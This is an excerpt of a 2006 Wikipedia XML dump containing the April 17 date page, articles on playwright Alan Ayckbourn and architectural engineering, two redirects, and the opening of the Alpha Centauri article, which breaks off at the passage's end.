      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=17}}
|}
[[April 17]] is the 107th day of the year in the [[Gregorian calendar]] (108th in [[leap year]]s). There are 258 days remaining.
==Events==
* [[69]] - After the First [[Battle of Bedriacum]], [[Vitellius]] becomes [[Roman Emperor]].
*[[1397]] - [[Geoffrey Chaucer]] tells the [[Canterbury Tales]] for the first time at the court of [[Richard II of England|Richard II]].  Chaucer scholars have also identified this date (in [[1387]]) as when the book's [[pilgrimage]] to [[Canterbury]] starts.
*[[1492]] - [[Spain]] and [[Christopher Columbus]] sign a contract for him to sail to [[Asia]] to get [[spice]]s.
*[[1521]] - [[Martin Luther (religious leader)|Martin Luther]] speaks to the assembly at the [[Diet of Worms]], refusing to recant his [[Lutheranism|teachings]].
*[[1524]] - [[Giovanni da Verrazano]] reaches [[New York City|New York]] harbor.
*[[1861]] - [[American Civil War]]: [[Virginia]] secedes from the [[United States|Union]].
*[[1864]] - American Civil War: [[Battle of Plymouth (1864)|Battle of Plymouth]] begins &amp;ndash; [[Confederate States of America|Confederate]] forces attack [[Plymouth, North Carolina]]. 
*[[1865]] - [[Mary Surratt]] is arrested as a conspirator in the [[assassination]] of [[Abraham Lincoln]].
*[[1895]] - The [[Treaty of Maguan]] (also known as the &quot;Treaty of Shimonoseki&quot;) between [[China]] and [[Japan]] is signed. This marks the end of the first [[Sino-Japanese War (1894-1895) | Sino-Japanese War]], and the defeated [[Qing Empire]] is forced to renounce its claims on [[Korea]] and to concede the southern portion of the [[Fengtien]] [[Political divisions of China|province]], [[Taiwan]] and the [[Pescadores Islands]] to [[Japan]].
*[[1924]] - [[Metro-Goldwyn-Mayer]] studios is formed from a merger of Metro Pictures, Goldwyn Pictures, and the Louis B. Mayer Company.
*[[1935]] - [[Sun Myung Moon]] has a vision of [[Jesus Christ]] who tells him to complete his mission from almost 2000 years ago.
*[[1937]] - [[Daffy Duck]] debuts in [[Warner Bros]]' short ''[[Porky's Duck Hunt]]''.
*[[1941]] - [[World War II]]: The [[Kingdom of Yugoslavia]] surrenders to [[Germany]].
*[[1942]] - [[POW]] [[France|French]] General [[Henri Giraud]] escapes from his castle prison in [[Festung Königstein]].
*[[1945]] - In [[Strassfurt]], [[Germany]], U.S. Lieutenant Colonel [[Boris T. Pash]] seizes half a ton of [[uranium]], in an attempt to foil [[Soviet Union]] plans to build an [[atomic bomb]].  
*[[1961]] - [[Bay of Pigs Invasion]]:  A group of [[CIA]]-financed and -trained [[Cuba]]n refugees lands at the [[Bay of Pigs]] in [[Cuba]] with the aim of ousting [[Fidel Castro]].
*[[1964]] - The [[Ford Motor Company]] unveils the [[Ford Mustang]] at the [[New York World's Fair]].
*1964 - [[Jerrie Mock]] becomes the first woman to circumnavigate the world by air.
*[[1969]] - [[Sirhan Sirhan]] is convicted of assassinating [[Robert F. Kennedy]].
*1969 - [[Czechoslovakia|Czechoslovak]] Communist Party chairman [[Alexander Dubček]] is deposed.
*[[1970]] - [[Apollo program]]: The ill-fated [[Apollo 13]] spacecraft returns to [[Earth]] safely.
*[[1975]] - [[Cambodian Civil War]] ends: The [[Khmer Rouge]] captures the capital [[Phnom Penh]] and [[Cambodia]]n government forces surrender.
*[[1976]] - During his unsuccessful re-election bid, U.S. President [[Gerald Ford]] appears as himself on ''[[Saturday Night Live]]''.
*[[1982]] - Patriation of the [[Canadian constitution]] in Ottawa by Proclamation of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], [[Queen of Canada]].
*[[1984]] - Police Constable [[Yvonne Fletcher]] is killed by automatic gunfire coming from the [[Libya]]n People's Bureau in central [[London]]. She had been policing a small demonstration outside the embassy. Ten other people are wounded. The events lead to an 11-day [[siege]] of the building.
*[[1986]] - Treaty signed, ending [[Three Hundred and Thirty Five Years' War]] between the [[Netherlands]] and the [[Isles of Scilly]].
*[[1991]] - The [[Dow Jones Industrial Average]] closes above 3,000 for the [[Closing milestones of the Dow Jones Industrial Average|first time ever]] gaining 17.58 to 3,004.46.
*[[2001]] - [[Barry Bonds]] becomes the 17th member of the [[500 home run club]] at [[SBC Park|Pacific Bell Park]] in [[San Francisco, California]].
*[[2002]] - Four [[Canadian Forces]] soldiers are killed in [[Afghanistan]] by [[friendly fire]] from two [[U.S. Air Force]] [[F-16]]s, the first deaths in a combat zone for Canada since the Korean War.

==Births==
*[[593]] - [[Emperor Jomei]], emperor of Japan (d. [[641]])
*[[1573]] - [[Maximilian I, Elector of Bavaria]] (d. [[1651]]
*[[1586]] - [[John Ford (dramatist)|John Ford]], English dramatist
*[[1598]] - [[Giovanni Riccioli]], Italian astronomer (d. [[1671]])
*[[1710]] - [[Henry Erskine, 10th Earl of Buchan]], British Freemason (d. [[1767]])
*[[1734]] - [[Taksin]], King of Thailand (d. [[1782]])
*[[1794]] - [[Carl Friedrich Philipp von Martius]], German botanist (d. [[1868]])
*[[1837]] - [[J.P. Morgan]], American financier, art collector, and philanthropist (d. [[1913]])
*[[1842]] - [[Maurice Rouvier]], French statesman (d. [[1911]])
*[[1852]] - [[Cap Anson]], baseball player (d. [[1922]])
*[[1863]] - [[Augustus Edward Hough Love]], English mathematician (d. [[1940]])
*[[1866]] - [[Ernest Starling]], British physiologist (d. [[1927]])
*[[1882]] - [[Artur Schnabel]], Polish pianist (d. [[1951]])
*[[1885]] - [[Isak Dinesen]], Danish author (d. [[1962]])
*[[1890]] - [[Art Acord]], American actor and rodeo rider (d. [[1931]])
*[[1894]] - [[Nikita Khrushchev]], [[Premier of the Soviet Union]] (d. [[1971]])
*[[1897]] - [[Thornton Wilder]], American dramatist (d. [[1975]])
*[[1902]] - [[Jaime Torres Bodet]], Mexican writer, politician, and diplomat (d. [[1974]])
*[[1903]] - [[Gregor Piatigorsky]], Russian cellist (d. [[1976]])
*1903 - [[Morgan Taylor]], American athlete (d. [[1975]])
*[[1915]] - [[Joe Foss]], American soldier and politician (d. [[2003]])
*[[1916]] - [[Helenio Herrera]], French footballer player and manager (d. [[1997]])
*[[1917]] - [[Bill Clements]], Governor of Texas
*[[1918]] - [[William Holden (actor)|William Holden]], American actor (d. [[1981]])
*[[1923]] - [[Lindsay Anderson]], English film director (d. [[1994]])
*1923 - [[Harry Reasoner]], American journalist (d. [[1991]])
*[[1926]] - [[Gerry McNeil]], Canadian hockey player (d. [[2004]])
*[[1929]] - [[James Last]], German band leader
*[[1934]] - [[Don Kirshner]], American television producer and composer
*[[1938]] - [[Ben Barnes]], Lieutenant Governor of Texas
*[[1940]] - [[Anja Silja]], German soprano
*[[1947]] - [[Linda Martin]], Irish singer and [[Eurovision Song Contest]] winner
*[[1948]] - [[Jan Hammer]], Czech composer
*[[1950]] - [[Bruce McNall]], American former [[National Hockey League|NHL]] team owner
*[[1951]] - [[Olivia Hussey]], Argentine-born actress
*[[1952]] - [[Zeljko Raznatovic]], Serbian Warlord
*[[1954]] - [[Riccardo Patrese]], Italian race car driver
*1954 - [[Roderick Toombs|&quot;Rowdy&quot; Roddy Piper (Roderick Toombs)]], professional wrestler, actor
*[[1957]] - [[Nick Hornby]], English author
*[[1959]] - [[Sean Bean]], English actor
*[[1961]] - [[Boomer Esiason]], American football player
*[[1963]] - [[Joel Murray]], American actor
*[[1964]] - [[Maynard James Keenan]], American singer ([[Tool (band)|Tool]] and [[A Perfect Circle]])
*[[1967]] - [[Marquis Grissom]], baseball player
*1967 - [[Liz Phair]], American musician/songwriter
*[[1969]] - [[Henry Ian Cusick]], Peruvian-born actor
*[[1972]] - [[Muttiah Muralitharan]], Sri Lankan [[Cricket]] Player
*1972 - [[Tony Boselli]], American football player
*1972 - [[Jennifer Garner]], American actress
*[[1974]] - [[Victoria Adams]], English singer
*1974 - [[Mikael Åkerfeldt]], Swedish singer and guitarist ([[Opeth]])
*[[1977]] - [[Sizzla]] Jamaican dancehall artist
*[[1977]] - [[Chad Hedrick]], American speed skater
*[[1978]] - [[Jordan Hill]], American singer
*[[1983]] - [[Miguel Cabrera]], Venezuelan [[Major League Baseball]] player

==Deaths==
*[[487]] - [[Proclus]], Greek philosopher (b. [[412]])
*[[1080]] - King [[Harald III of Denmark]] (b. [[1041]])
*[[1427]] - [[John IV, Duke of Brabant]] (b. [[1403]])
*[[1539]] - [[George, Duke of Saxony]] (b. [[1471]])
*[[1574]] - [[Joachim Camerarius]], German classical scholar (b. [[1500]])
*[[1695]] - [[Sor Juana]], Mexican writer (d. [[1695]])
*[[1696]] - [[Marie de Rabutin-Chantal, marquise de Sévigné]], French writer (b. [[1626]])
*[[1711]] - [[Joseph I, Holy Roman Emperor]] (b. [[1678]])
*[[1742]] - [[Arvid Horn]], Swedish statesman (b. [[1664]])
*[[1761]] - [[Thomas Bayes]], English mathematician
*[[1764]] - [[Johann Mattheson]], German composer (b. [[1681]])
*[[1790]] - [[Benjamin Franklin]], American politician, inventor, diplomat, and printer (b. [[1706]])
*[[1799]] - [[Richard Jupp]], English architect (b. [[1728]])
*[[1843]] - [[Samuel Morey]], American inventor (b. [[1762]])
*[[1891]] - [[Alexander Mackenzie]], second [[Prime Minister of Canada]] (b. [[1822]])
*[[1936]] - [[Charles Ruijs de Beerenbrouck]], Dutch prime minister (b. [[1873]])
*[[1941]] - [[Al Bowlly]], dance band vocalist (b. [[1899]])
*[[1942]] - [[Jean Perrin]], French physicist, [[Nobel Prize]] laureate (b. [[1870]])
*[[1944]] - [[Jack Hearne (John Thomas Hearne)|J.T. Hearne]] English cricketer (b. [[1867]])
*[[1960]] - [[Eddie Cochran]], American musician (b. [[1938]])
*[[1967]] - [[Red Allen]], American jazz trumpeter (b. [[1908]])
*[[1975]] - [[Sarvepalli Radhakrishnan]], Indian philosopher (b. [[1888]])
*[[1977]] - [[William Cardinal Conway]], Northern Irish clergyman (b. [[1913]])
*[[1988]] - [[Louise Nevelson]] - American sculptor (b. [[1900]])
*[[1990]] - Reverend [[Ralph Abernathy]], American civil rights activist (b. [[1936]])
*[[1994]] - [[Roger Wolcott Sperry]], American neurobiologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1913]])
*[[1998]] - [[Linda McCartney]], American photographer, activist, and musician (b. [[1941]])
*[[2003]] - Dr. [[Robert Atkins]], American diet doctor (b. [[1930]])
*2003 - [[Paul Getty]], American-born philanthropist (b. [[1932]])
*2003 - [[Earl King]], American musician and songwriter (b. [[1934]])
*[[2004]] - [[Edmond Pidoux]], Swiss writer (b. [[1908]])
*2004 - [[Soundarya]], Indian actress (b. [[1971]])

==Holidays and observances==
*[[Feast day]] of the following [[saint]]s:
**[[Pope Anicetus|Anicetus]] (d. [[166]])
**[[Stephen Harding]] (d. [[1134]])
***[[Day of the Rock]]

==Fiction==
*[[Rei Hino]]/[[Sailor Mars]]'s birthday (from [[Sailor Moon]]).

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/17 BBC: On This Day]

----

[[April 16]] - [[April 18]] - [[March 17]] - [[May 17]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:17 April]]
[[ar:17 إبريل]]
[[an:17 d'abril]]
[[ast:17 d'abril]]
[[bg:17 април]]
[[be:17 красавіка]]
[[bs:17. april]]
[[ca:17 d'abril]]
[[ceb:Abril 17]]
[[cv:Ака, 17]]
[[co:17 d'aprile]]
[[cs:17. duben]]
[[cy:17 Ebrill]]
[[da:17. april]]
[[de:17. April]]
[[et:17. aprill]]
[[el:17 Απριλίου]]
[[es:17 de abril]]
[[eo:17-a de aprilo]]
[[eu:Apirilaren 17]]
[[fo:17. apríl]]
[[fr:17 avril]]
[[fy:17 april]]
[[ga:17 Aibreán]]
[[gl:17 de abril]]
[[ko:4월 17일]]
[[hr:17. travnja]]
[[io:17 di aprilo]]
[[id:17 April]]
[[ia:17 de april]]
[[ie:17 april]]
[[is:17. apríl]]
[[it:17 aprile]]
[[he:17 באפריל]]
[[jv:17 April]]
[[ka:17 აპრილი]]
[[csb:17 łżëkwiôta]]
[[ku:17'ê avrêlê]]
[[lt:Balandžio 17]]
[[lb:17. Abrëll]]
[[li:17 april]]
[[hu:Április 17]]
[[mk:17 април]]
[[ms:17 April]]
[[nap:17 'e abbrile]]
[[nl:17 april]]
[[ja:4月17日]]
[[no:17. april]]
[[nn:17. april]]
[[oc:17 d'abril]]
[[pl:17 kwietnia]]
[[pt:17 de Abril]]
[[ro:17 aprilie]]
[[ru:17 апреля]]
[[se:Cuoŋománu 17.]]
[[sco:17 Aprile]]
[[sq:17 Prill]]
[[scn:17 di aprili]]
[[simple:April 17]]
[[sk:17. apríl]]
[[sl:17. april]]
[[sr:17. април]]
[[fi:17. huhtikuuta]]
[[sv:17 april]]
[[tl:Abril 17]]
[[tt:17. Äpril]]
[[te:ఏప్రిల్ 17]]
[[th:17 เมษายน]]
[[vi:17 tháng 4]]
[[tr:17 Nisan]]
[[uk:17 квітня]]
[[ur:17 اپریل]]
[[wa:17 d' avri]]
[[war:Abril 17]]
[[zh:4月17日]]
[[pam:Abril 17]]</text>
    </revision>
  </page>
  <page>
    <title>Alan Ayckbourn</title>
    <id>1975</id>
    <revision>
      <id>41624681</id>
      <timestamp>2006-02-28T16:33:30Z</timestamp>
      <contributor>
        <username>DJ Clayworth</username>
        <id>16175</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Sir Alan Ayckbourn''' [[Order of the British Empire|CBE]] (born [[April 12]], [[1939]]) is a popular and prolific [[England|English]] [[playwright]]. He is frequently cited as being the second most-performed English language playwright, after [[William Shakespeare]].

==Life==
Ayckbourn was born in [[London]] and wrote his first play at prep school when he was about 10. At [[Haileybury and Imperial Service College|Haileybury]], he toured [[Europe]] and [[United States|America]] with the school Shakespeare company. He left school at 17 to go straight into the theatre with an introduction to Sir [[Donald Wolfit]] by his French master. Ayckbourn joined Wolfit on tour as an [[Stage management|assistant stage manager]] and [[actor]].

By 1957, Ayckbourn was acting with director [[Stephen Joseph]] at [[Scarborough]]. In 1959 he played Stanley in the second production of writer-director [[Harold Pinter]]'s ''The Birthday Party''. 

Ayckbourn has written and produced some sixty plays in Scarborough and London and is the artistic director of the [[Stephen Joseph Theatre]] in Scarborough. Almost all of his plays receive their first performance at this theatre. More than 25 have subsequently been produced in the [[West End theatre|West End]], at the [[Royal National Theatre]] or by the [[Royal Shakespeare Company]] since his first hit ''[[Relatively Speaking]]'' opened at the Duke of York's Theatre in 1967. 

Major successes include ''[[Absurd Person Singular]]'', The [[Norman Conquests trilogy]], ''[[Bedroom Farce (comedy)|Bedroom Farce]]'', ''[[Just Between Ourselves]]'', ''[[A Chorus Of Disapproval]]'', ''[[Woman In Mind]]'', ''[[A Small Family Business]]'', ''[[Man Of The Moment]]'' and House &amp; Garden. His plays have won numerous awards, including seven London Evening Standard Awards. They have been translated into over 30 languages and are performed on stage and television throughout the world. 

Ayckbourn plays have also been filmed in French and English. Four of his plays have been seen on [[Broadway theatre|Broadway]] attracting two [[Tony Awards|Tony]] nominations. In 1991, he received a Dramalogue Critics Award for his play ''[[Henceforward...]]''.

Although his plays have received major West End productions almost from the beginning of his writing career, and hence have been reviewed in [[United Kingdom newspapers|British newspapers]], Ayckbourn's work was for years routinely dismissed as being too slight for serious study. Recently scholars have begun to view Ayckbourn as an important commentator on the lifestyles of the British [[suburb]]an [[middle class]] and as a stylistic innovator, experimenting with theatrical styles within the boundaries set by popular tastes.

==Career==
{|
|1956&amp;ndash;57||Stage manager and actor, Donald Wolfit's company, in Edinburgh, Worthing, Leatherhead, Scarborough, and Oxford
|-
|1957&amp;ndash;62||Actor and stage manager, Stephen Joseph Theatre-in-the-Round, Scarborough, Yorkshire
|-
|1962&amp;ndash;64||Associate director, Victoria Theatre, Stoke-on-Trent, Staffordshire
|-
|1964&amp;ndash;70||Drama producer, BBC Radio, Leeds
|-
|1970&amp;mdash;||Artistic director, Stephen Joseph Theatre-in-the-Round
|-
|1986&amp;ndash;88||Associate director, National Theatre, London
|-
|1991&amp;ndash;92||Professor of contemporary theatre, Oxford University
|}

==Honours==
Evening Standard award, 1973, 1974, 1977, 1985, 1987, 1989, 1990&lt;br /&gt;
Olivier award, 1985&lt;br /&gt;
Plays and Players award, 1987&lt;br /&gt;
D.Litt.: [[University of Hull]], Yorkshire, 1981&lt;br /&gt;
D.Litt.:  [[Keele University|University of Keele]], Staffordshire, 1987&lt;br /&gt;
D.Litt.:  [[University of Leeds]], 1987&lt;br /&gt; 
C.B.E. (Commander, Order of the British Empire), 1987 &lt;br /&gt;

==Works==
'''*''' indicates retitled
{|
|1959||''The Square Cat''
|-
|1959||''Love After All''
|-
|1960||''Dad's Tale''
|-
|1961||''Standing Room Only''
|-
|1962||''Christmas V Mastermind''
|-
|1963||''Mr Whatnot''
|-
|1965||''Meet My Father'' * ''Relatively Speaking''
|-
|1967||''The Sparrow''
|-
|1969||''How The Other Half Loves''
|-
|1970||''The Story So Far...'' *''Me Times Me Times Me'' *''Family Circles''
|-
|1971||''Time And Time Again''
|-
|1972||''[[Absurd Person Singular]]''
|-
|1973||''Fancy Meeting You'' *''Table Manners''  (Norman Conquests)
|-
|1973||''Make Yourself At Home'' *''Living Together''  (Norman Conquests)
|-
|1973||''Round And Round The Garden''  (Norman Conquests)
|-
|1974||''Absent Friends''
|-
|1974||''[[Confusions]]''
|-
|1975 ||''Jeeves'' (re-written 1996 as ''By Jeeves'')
|-
|1975||''Bedroom [[Farce]]'' 
|-
|1976||''Just Between Ourselves''
|-
|1977||''Ten Times Table''
|-
|1978||''Joking Apart''
|-
|1979||''Sisterly Feelings''
|-
|1979||''Taking Steps''
|-
|1980||''Suburban Strains''
|-
|1980||''Season's Greetings''
|-
|1981||''Way Upstream''
|-
|1981||''Making Tracks''
|-
|1982||''Intimate Exchanges Consisting Of 8 Plays''
|-
|1983||''It Could Be Any One Of Us''
|-
|1984||''A Chorus Of Disapproval''
|-
|1985||''Woman In Mind''
|-
|1987||''A Small Family Business''
|-
|1987||''Henceforward...''
|-
|1988||''Man Of The Moment''
|-
|1988||''Mr A's Amazing Maze Plays''
|-
|1989||''The Revengers' Comedies''
|-
|1989||''Invisible Friends''
|-
|1990||''Body Language''
|-
|1990||''This Is Where We Came In''
|-
|1990||''Callisto 5'' (re-written in 1999 as ''Callisto 7'')
|-
|1991||''Wildest Dreams''
|-
|1991||''My Very Own Story''
|-
|1992||''Time Of My Life''
|-
|1992||''Dreams From A Summer House''
|-
|1994||''Communicating Doors''
|-
|1994||''Haunting Julia'' 
|-
|1994||''The Musical Jigsaw Play''
|-
|1995||''A Word From Our Sponsor''
|-
|1996||''The Champion Of Paribanou''
|-
|1997||''Things We Do For Love''
|-
|1998||''Comic Potential''
|-
|1998||''The Boy Who Fell Into A Book''
|-
|1999||''House'' (House &amp; Garden)
|-
|1999||''Garden'' (House &amp; Garden)
|-
|2000||''Virtual Reality''
|-
|2000||''Whenever''
|-
|2001||''Gameplan'' (Damsels In Distress)
|-
|2001||''Flatspin'' (Damsels In Distress)
|-
|2001||''Roleplay'' (Damsels In Distress)
|-
|2002||''Snake In The Grass''   
|-
|2003||''My Sister Sadie''  
|-
|2004||''Drowning on Dry Land''  
|-
|2004||''Private Fears in Public Places''
|-
|2005||''Improbable Fiction''
|}

==See also==
*''The Crafty Art of Playmaking'', Palgrave Macmillan (US) 2003, ISBN 1403962294 &lt;br /&gt;
*[http://www.alanayckbourn.net The official Alan Ayckbourn website] 

* {{contemporary writers|id=C2D9C28A1605c22C66hRk2050A6F}}

[[Category:1939 births|Ayckbourn, Alan]]
[[Category:Living people|Ayckbourn, Alan]]
[[Category:English dramatists and playwrights|Ayckbourn, Alan]]
[[Category:North Yorkshire|Ayckbourn, Alan]]
[[Category:Knights bachelor|Ayckbourn, Alan]]
[[Category:Commanders of the British Empire|Ayckbourn, Alan]]
[[Category:Old Haileyburians|Ayckbourn, Alan]]

[[de:Alan Ayckbourn]]
[[nl:Alan Ayckbourn]]</text>
    </revision>
  </page>
  <page>
    <title>Adamnan</title>
    <id>1976</id>
    <revision>
      <id>39141128</id>
      <timestamp>2006-02-10T23:47:00Z</timestamp>
      <contributor>
        <username>Calgacus</username>
        <id>140005</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Adomnán of Iona]]</text>
    </revision>
  </page>
  <page>
    <title>Architectural engineering</title>
    <id>1977</id>
    <revision>
      <id>39343538</id>
      <timestamp>2006-02-12T14:37:44Z</timestamp>
      <contributor>
        <username>Solipsist</username>
        <id>49943</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/201.17.175.164|201.17.175.164]] ([[User talk:201.17.175.164|talk]]) to last version by 24.124.113.145</comment>
      <text xml:space="preserve">'''Architectural engineers''' apply the skills of many engineering disciplines to the design, construction, operation, maintenance and renovation of buildings while paying attention to their impacts on the surrounding environment. In countries such as Canada, the UK and Australia, architectural engineering is more commonly known as '''Building Engineering'''. In some languages, &quot;architect&quot; is literally translated as &quot;architectural engineer&quot;.

==Difference from component disciplines==
What differentiates architectural engineering from its component disciplines is the effort to understand and design for the integration of all the building systems. [[Civil engineering|Civil Engineers]], for instance, can and do design the structure of a building.  The Architectural Engineer with a specialization in structures may understand and accommodate not only the structural requirements for a building, but also the architectural, [[HVAC]], plumbing, electrical, transportation, acoustic requirements - only the most common of those usually considered problematic.

==Difference from architecture==
A common confusion  is the distinction between [[architecture]] and architectural engineering.  In essence, architectural engineering is a component of architecture. [[Architects]] are directly responsible for the form and appearance of a building, including the way in which people use and experience the spaces of the building, and they typically act as the leader of the design team.  They also coordinate the various engineering requirements of a building project. Architectural Engineering concentrates on ensuring that &quot;the building works&quot; (that it stands up, that the HVAC system operates, that light and power are delivered as needed).  

Architectural engineers, as a distinct and separate profession, are somewhat redundant in that their role overlaps that of the architect and other project engineers. Like architects, they seek to achieve optimum system selection and sizing within the overall constraints, except using primarily the tools of engineering. In most parts of the world, architectural engineers are not entitled to practice architecture unless they are architects, and are limited to one or more engineering disciplines. In some locations, such as Japan, architects are also known as architectural engineers.

==Major specializations==
* [[Architecture]]
* [[Structural engineering]]
* [[HVAC|HVAC - Heating, ventilation, and air-conditioning engineering]]
* [[Electrical engineering|Building power systems]]
* [[Lighting]]
* [[Plumbing]]
* [[Fire protection engineering]]
* [[Building transportation system]]s
* [[Acoustics]]
* [[Construction engineering]]
* [[Project management]]

==Subjects of interest==
* [[Building construction]]
* [[Energy efficiency]]
* [[Renewable energy]]
** [[Solar power]]
* [[Intelligent building]]s
* [[Autonomous building]]s

==External links==
* [http://www.aeinstitute.org/intro.cfm Architectural Engineering Institute of the American Society of Civil Engineers]


==Educational institutions offering AE==

* [http://www.concordia.ca/ Concordia University, Montreal, Canada]
* [http://www.arce.calpoly.edu/general/general.html California Polytechnic State University]
* [http://www.engr.psu.edu/AE/ Penn State Architectural Engineering Department]
* [http://bechtel.colorado.edu/new/undergrad/advising/ University of Colorado]
* [http://www.ce.utexas.edu/ University of Texas at Austin]
* [http://www.cae.drexel.edu/ Drexel University, Philadelphia, PA]
* [http://www.msoe.edu/ae/ Milwaukee School of Engineering, Milwaukee, WI]
* [http://www.ceae.ku.edu/arce/ University of Kansas, Lawrence, KS]


[[Category:Architecture|Engineering]]
[[Category:Building engineering]]
[[Category:Engineering]]

[[ar:هندسة معمارية]]
[[ko:건축 공학]]
[[nl:Bouwkunde]]</text>
    </revision>
  </page>
  <page>
    <title>Assassins (disambiguation)</title>
    <id>1978</id>
    <revision>
      <id>15900436</id>
      <timestamp>2005-06-04T23:57:56Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <comment>merge and redirect to [[assassin (disambiguation)]]</comment>
      <text xml:space="preserve">#redirect [[assassin (disambiguation)]]</text>
    </revision>
  </page>
  <page>
    <title>Alpha Centauri</title>
    <id>1979</id>
    <revision>
      <id>41937613</id>
      <timestamp>2006-03-02T19:24:14Z</timestamp>
      <contributor>
        <username>Gcapp1959</username>
        <id>298824</id>
      </contributor>
      <comment>revert vandalism</comment>
      <text xml:space="preserve">:''This article is about the star system. For the Video Game see [[Sid Meier's Alpha Centauri]].
{{mergefrom|Proxima Centauri}}
{{Starbox begin 
 | name = Alpha Centauri A/B
 }}
{{Starbox image 
 | image = [[Image:Position_Alpha_Cen.png | 250px]] 
 | caption = The position of Alpha Centauri.
 }}
{{Starbox observe
 | epoch = J2000 
 | ra = 14h 39m 36.5/35.1s 
 | dec = -60° 50' 02/13&quot; 
 | appmag_v = -0.01/+1.34 
 | constell = [[Centaurus]]
 }}
{{Starbox character 
 | class = G2 V/K1 V 
 | b-v = 0.65/0.85 
 | u-b = 0.24/0.64 
 | variable = None
 }}
{{Starbox astrometry 
 | radial_v = -21.6 
 | prop_mo_ra = -3678.19 
 | prop_mo_dec = 481.84 
 | parallax = 747.23 
 | p_error = 1.17 
 | dist_ly = 4.36 
 | dist_pc = 1.338 
 | absmag_v = 4.38/5.71
 }}
{{Starbox detail
 | age = 5-6 &amp;times; 10&lt;sup&gt;9&lt;/sup&gt; 
 | metal = 130-230% Sun 
 | mass = 1.10/0.91 
 | radius = 1.23/0.87 
 | rotation = ? 
 | luminosity = 1.57/0.51
 | temperature = 5,800/5,300
 }}
{{Starbox visbin 
 | name = Alpha Centauri B 
 | period = 79.24 
 | axis = 17.59 
 | eccentricity = 0.516 
 | inclination = 79.24 
 | node = 204.87 
 | periastron = 1955.56
 }}
{{Starbox catalog 
 | names = Alp Cen, Rigil Kentaurus, Rigil Kent, Toliman, Bungula, [[Henry L. Giclas catalogue | Gl]]&amp;nbsp;559 A/B, [[Harvard Revised catalogue | HR]]&amp;nbsp;5459/5460, [[Cape Photographic Durchmusterung | CP(D)]]-60°5483, [[Henry Draper catalogue | HD]]&amp;nbsp;128620/128621, [[General Catalogue of Trigonometric Parallaxes | GCTP]]&amp;nbsp;3309.00, [[Luyten Half-Second catalogue | LHS]]&amp;nbsp;50/51, [[Smithsonian Astrophysical Observatory | SAO]]&amp;nbsp;252838, FK5&amp;nbsp;538, [[Hipparcos catalogue | HIP]]&amp;nbsp;71683/71681.
 }}

{{Starbox end}}
'''Alpha Centauri''' (&amp;alpha; Cen / &amp;alpha; Centauri) is the brightest [[star system]] (a triple star system) in the southern [[constellation]] of [[Centaurus]], and contains the [[list of brightest stars|fourth brightest star]] in the night sky, with an [[apparent visual magnitude]] of &amp;minus;0.01. It is famous in the Southern Hemisphere as the outermost &amp;ldquo;pointer&amp;rdquo; to the [[Crux|Southern Cross]], but it is too far south to be visible in most of the northern hemisphere. To the naked eye, the two brightest components of the system are too close for the eye to be able to resolve them as separate stars, so it is perceived as a single source of light with a total visual magnitude of about &amp;minus;0.27, which is brighter than [[Arcturus]].

It is the closest [[star]] system beyond our own [[solar system]], at 4.2–4.4 [[light-year]]s. That makes it a logical choice as &quot;first port of call&quot; for [[science fiction]] speculation about space travel. In fact many [[novels]], [[video game]]s, and the like focus on man's eventual exploration of the system, and even colonisation of speculative [[planet]]s within the system.

==Names==
It bears the proper name '''Rigil Kentaurus''' (often shortened to '''Rigil Kent'''), derived from the [[Arabic language|Arabic]] phrase ''Al Rijl al Kentaurus'', meaning &quot;foot of the centaur,&quot;  but is nonetheless usually referred to by its [[Bayer designation]] ''Alpha Centauri''.  Another alternative name is '''Toliman'''. It is also sometimes known as '''Bungula''', possibly from the [[Latin]] word ''ungula'' meaning &quot;hoof&quot;. It and [[Beta Centauri]] (which is close to Alpha Centauri in [[angular]] distance as seen from the Earth, but is actually many light-years away) are the &quot;Pointers&quot; to the [[Crux|Southern Cross]]. Alpha and Beta Centauri are the second closest pair of first magnitude stars as seen from the Earth, and due to the effects of [[proper motion]], they will become the closest pair in around 2166, overtaking [[Acrux]] and [[Becrux]].

''Alpha Centauri A'' is also known as [[Henry Draper Catalogue|HD]] 128620, [[Harvard Revised catalogue|HR]] 5459, [[Cape Photographic Durchmusterung|CP-60°5483]], [[General Catalogue of Trigonometric Parallaxes|GCTP]] 3309.00A, and [[Luyten Half-Second Catalogue|LHS]] 50.
''Alpha Centauri B'' is also known as HD 128621, HR 5460, GCTP 3309.00B, and LHS 51.

==System components==
[[Image:Alpha Centauri relative sizes.png|thumb|left|300px|Size and color of the Sun compared to the stars in the Alpha Centauri system]]

Alpha Centauri is a triple star system. It consists of two main stars, ''Alpha Centauri A'' and ''Alpha Centauri B'' (which form a [[binary star]] together) at a distance of 4.36 [[light-year|ly]], and a dimmer [[red dwarf]] named [[Proxima Centauri]] at a distance of 4.22 ly. Both of the two main stars are rather similar to the [[Sun]].  The larger member of the binary star, ''Alpha Centauri A'', is the most similar to the [[Sun]], but a little larger and brighter. Like the Sun, its [[Stellar classification|spectral type]] is G2 V, and, like the sun, shines in a yellowish-white light. The smaller of the two, ''Alpha Centauri B'', is dimmer, with a spectral type of K1 V, somewhat smaller and dimmer than the sun, but astronomically similar enough, shining with more of an orangish-yellow-white light. The two orbit one another elliptically ([[Eccentricity (orbit) |e]]=0.52), approaching as close as 11.2 [[astronomical unit]]s (2&amp;times;10&lt;sup&gt;&amp;minus;4&lt;/sup&gt; ly) and receding to 35.6 AU (6&amp;times;10&lt;sup&gt;&amp;minus;4&lt;/sup&gt; ly), with a period of just under 80 years. Hence the sum of the two masses is &lt;math&gt;23.4^3/80^2=2.0&lt;/math&gt; times that of the Sun (see [[Two-body problem#Gravity|formula]]).

These two stars are about 5 to 6 billion years old.
